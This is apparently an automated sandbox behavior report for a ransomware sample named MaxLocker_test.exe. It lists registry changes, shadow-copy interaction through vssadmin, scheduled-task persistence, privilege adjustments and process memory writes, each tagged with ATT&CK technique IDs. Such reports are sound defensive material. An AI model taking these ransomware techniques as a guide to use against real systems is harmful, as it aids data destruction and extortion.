Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	explorer.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4740	ipconfig.exe
2364	ipconfig.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4484	vssadmin.exe
1664	vssadmin.exe

Modifies Control Panel 6 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Control Panel\Accessibility\StickyKeys\Flags = "506"	MaxLocker_test.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Control Panel\Accessibility\ToggleKeys\Flags = "58"	MaxLocker_test.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Control Panel\Accessibility\Keyboard Response\Flags = "122"	MaxLocker_test.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Control Panel\Accessibility\StickyKeys\Flags = "510"	MaxLocker_test.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Control Panel\Accessibility\ToggleKeys\Flags = "62"	MaxLocker_test.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Control Panel\Accessibility\Keyboard Response\Flags = "126"	MaxLocker_test.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Internet Explorer\Main	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	explorer.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Accessibility\StickyKeys\Flags = "506"	MaxLocker_test.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Accessibility\Keyboard Response\Flags = "122"	MaxLocker_test.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Accessibility\Keyboard Response\Flags = "126"	MaxLocker_test.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Accessibility\ToggleKeys\Flags = "58"	MaxLocker_test.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Accessibility\StickyKeys\Flags = "510"	MaxLocker_test.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Accessibility\ToggleKeys\Flags = "62"	MaxLocker_test.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 39 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	SearchHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total	SearchHost.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-560646293-820748483-2532804640-1000\{6413791F-7F45-4D3B-877B-71455F1B3363}	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-560646293-820748483-2532804640-1000\{2A2AF724-BDBA-4132-BB8E-FCEFB0F18B72}	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs	SearchHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	StartMenuExperienceHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	StartMenuExperienceHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	StartMenuExperienceHost.exe
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoftwindows.client.cbs	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "56"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "56"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "23"	SearchHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "56"	SearchHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DomStorageState	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\client.cbs	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total	SearchHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	NOTEPAD.EXE
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\MuiCache	StartMenuExperienceHost.exe
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\MuiCache	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "23"	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "23"	SearchHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	SearchHost.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2736	NOTEPAD.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4712	schtasks.exe
6024	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4824	MaxLocker_test.exe
4824	MaxLocker_test.exe
4824	MaxLocker_test.exe
4824	MaxLocker_test.exe
2440	MaxLocker_test.exe
2440	MaxLocker_test.exe
2440	MaxLocker_test.exe
2440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5124	explorer.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3440	MaxLocker_test.exe
Token: SeDebugPrivilege	4824	MaxLocker_test.exe
Token: SeDebugPrivilege	2440	MaxLocker_test.exe
Token: SeShutdownPrivilege	3440	MaxLocker_test.exe
Token: SeCreatePagefilePrivilege	3440	MaxLocker_test.exe
Token: SeBackupPrivilege	5936	vssvc.exe
Token: SeRestorePrivilege	5936	vssvc.exe
Token: SeAuditPrivilege	5936	vssvc.exe
Token: SeDebugPrivilege	5432	powershell.exe
Token: SeDebugPrivilege	4396	powershell.exe
Token: SeSystemEnvironmentPrivilege	5504	svchost.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	2160	MaxSecurityUpdate.exe
Token: SeDebugPrivilege	1524	MaxSecurityUpdate.exe
Token: SeIncreaseQuotaPrivilege	4736	powershell.exe
Token: SeSecurityPrivilege	4736	powershell.exe
Token: SeTakeOwnershipPrivilege	4736	powershell.exe
Token: SeLoadDriverPrivilege	4736	powershell.exe
Token: SeSystemProfilePrivilege	4736	powershell.exe
Token: SeSystemtimePrivilege	4736	powershell.exe
Token: SeProfSingleProcessPrivilege	4736	powershell.exe
Token: SeIncBasePriorityPrivilege	4736	powershell.exe
Token: SeCreatePagefilePrivilege	4736	powershell.exe
Token: SeBackupPrivilege	4736	powershell.exe
Token: SeRestorePrivilege	4736	powershell.exe
Token: SeShutdownPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeSystemEnvironmentPrivilege	4736	powershell.exe
Token: SeRemoteShutdownPrivilege	4736	powershell.exe
Token: SeUndockPrivilege	4736	powershell.exe
Token: SeManageVolumePrivilege	4736	powershell.exe
Token: 33	4736	powershell.exe
Token: 34	4736	powershell.exe
Token: 35	4736	powershell.exe
Token: 36	4736	powershell.exe
Token: SeIncreaseQuotaPrivilege	4736	powershell.exe
Token: SeSecurityPrivilege	4736	powershell.exe
Token: SeTakeOwnershipPrivilege	4736	powershell.exe
Token: SeLoadDriverPrivilege	4736	powershell.exe
Token: SeSystemProfilePrivilege	4736	powershell.exe
Token: SeSystemtimePrivilege	4736	powershell.exe
Token: SeProfSingleProcessPrivilege	4736	powershell.exe
Token: SeIncBasePriorityPrivilege	4736	powershell.exe
Token: SeCreatePagefilePrivilege	4736	powershell.exe
Token: SeBackupPrivilege	4736	powershell.exe
Token: SeRestorePrivilege	4736	powershell.exe
Token: SeShutdownPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeSystemEnvironmentPrivilege	4736	powershell.exe
Token: SeRemoteShutdownPrivilege	4736	powershell.exe
Token: SeUndockPrivilege	4736	powershell.exe
Token: SeManageVolumePrivilege	4736	powershell.exe
Token: 33	4736	powershell.exe
Token: 34	4736	powershell.exe
Token: 35	4736	powershell.exe
Token: 36	4736	powershell.exe
Token: SeIncreaseQuotaPrivilege	4736	powershell.exe
Token: SeSecurityPrivilege	4736	powershell.exe
Token: SeTakeOwnershipPrivilege	4736	powershell.exe
Token: SeLoadDriverPrivilege	4736	powershell.exe
Token: SeSystemProfilePrivilege	4736	powershell.exe
Token: SeSystemtimePrivilege	4736	powershell.exe
Token: SeProfSingleProcessPrivilege	4736	powershell.exe
Token: SeIncBasePriorityPrivilege	4736	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
5124	explorer.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe
4640	chrome.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
3440	MaxLocker_test.exe
396	SearchHost.exe
3648	StartMenuExperienceHost.exe
5124	explorer.exe
2736	NOTEPAD.EXE
2736	NOTEPAD.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3440 wrote to memory of 4192	3440	MaxLocker_test.exe	89
PID 3440 wrote to memory of 1412	3440	MaxLocker_test.exe	91
PID 3440 wrote to memory of 4824	3440	MaxLocker_test.exe	94
PID 3440 wrote to memory of 2440	3440	MaxLocker_test.exe	95
PID 3440 wrote to memory of 4484	3440	MaxLocker_test.exe	96
PID 3440 wrote to memory of 4712	3440	MaxLocker_test.exe	97
PID 3440 wrote to memory of 1216	3440	MaxLocker_test.exe	98
PID 3440 wrote to memory of 3260	3440	MaxLocker_test.exe	103
PID 3440 wrote to memory of 5432	3440	MaxLocker_test.exe	105
PID 3440 wrote to memory of 4396	3440	MaxLocker_test.exe	108
PID 3440 wrote to memory of 6024	3440	MaxLocker_test.exe	111
PID 3440 wrote to memory of 5636	3440	MaxLocker_test.exe	113
PID 3440 wrote to memory of 2628	3440	MaxLocker_test.exe	116
PID 3440 wrote to memory of 1348	3440	MaxLocker_test.exe	118
PID 3440 wrote to memory of 5800	3440	MaxLocker_test.exe	120
PID 3440 wrote to memory of 5920	3440	MaxLocker_test.exe	122
PID 3440 wrote to memory of 576	3440	MaxLocker_test.exe	124
PID 3440 wrote to memory of 1984	3440	MaxLocker_test.exe	126
PID 3440 wrote to memory of 2200	3440	MaxLocker_test.exe	154
PID 3440 wrote to memory of 6116	3440	MaxLocker_test.exe	156
PID 3440 wrote to memory of 1664	3440	MaxLocker_test.exe	132
PID 3440 wrote to memory of 4736	3440	MaxLocker_test.exe	134
PID 1392 wrote to memory of 2160	1392	userinit.exe	138
PID 3440 wrote to memory of 4740	3440	MaxLocker_test.exe	140
PID 3440 wrote to memory of 6032	3440	MaxLocker_test.exe	142
PID 3440 wrote to memory of 3944	3440	MaxLocker_test.exe	144
PID 3440 wrote to memory of 5476	3440	MaxLocker_test.exe	146
PID 3440 wrote to memory of 4680	3440	MaxLocker_test.exe	148
PID 3440 wrote to memory of 2484	3440	MaxLocker_test.exe	183
PID 3440 wrote to memory of 2356	3440	MaxLocker_test.exe	152
PID 3440 wrote to memory of 2200	3440	MaxLocker_test.exe	154
PID 3440 wrote to memory of 6116	3440	MaxLocker_test.exe	156
PID 3440 wrote to memory of 1244	3440	MaxLocker_test.exe	158
PID 3440 wrote to memory of 1696	3440	MaxLocker_test.exe	160
PID 3440 wrote to memory of 2688	3440	MaxLocker_test.exe	162
PID 3440 wrote to memory of 6052	3440	MaxLocker_test.exe	164
PID 3440 wrote to memory of 1268	3440	MaxLocker_test.exe	166
PID 3440 wrote to memory of 2060	3440	MaxLocker_test.exe	168
PID 3440 wrote to memory of 5924	3440	MaxLocker_test.exe	170
PID 3440 wrote to memory of 2364	3440	MaxLocker_test.exe	173
PID 3440 wrote to memory of 5124	3440	MaxLocker_test.exe	175
PID 5124 wrote to memory of 2736	5124	explorer.exe	181
PID 5124 wrote to memory of 4640	5124	explorer.exe	184
PID 4640 wrote to memory of 5224	4640	chrome.exe	185
PID 4640 wrote to memory of 2380	4640	chrome.exe	186
PID 4640 wrote to memory of 5068	4640	chrome.exe	187
PID 4640 wrote to memory of 5068	4640	chrome.exe	187
PID 4640 wrote to memory of 5196	4640	chrome.exe	189
PID 4640 wrote to memory of 5196	4640	chrome.exe	189
PID 4640 wrote to memory of 5988	4640	chrome.exe	190
PID 4640 wrote to memory of 3544	4640	chrome.exe	191
PID 4640 wrote to memory of 5988	4640	chrome.exe	190
PID 4640 wrote to memory of 3544	4640	chrome.exe	191
PID 4640 wrote to memory of 1464	4640	chrome.exe	192
PID 4640 wrote to memory of 1464	4640	chrome.exe	192
PID 4640 wrote to memory of 3720	4640	chrome.exe	193
PID 4640 wrote to memory of 3720	4640	chrome.exe	193
PID 4640 wrote to memory of 1988	4640	chrome.exe	194
PID 4640 wrote to memory of 5840	4640	chrome.exe	196
PID 4640 wrote to memory of 2904	4640	chrome.exe	195
PID 4640 wrote to memory of 5840	4640	chrome.exe	196
PID 4640 wrote to memory of 2904	4640	chrome.exe	195
PID 4640 wrote to memory of 1256	4640	chrome.exe	199
PID 4640 wrote to memory of 5604	4640	chrome.exe	200

System policy modification 1 TTPs 6 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
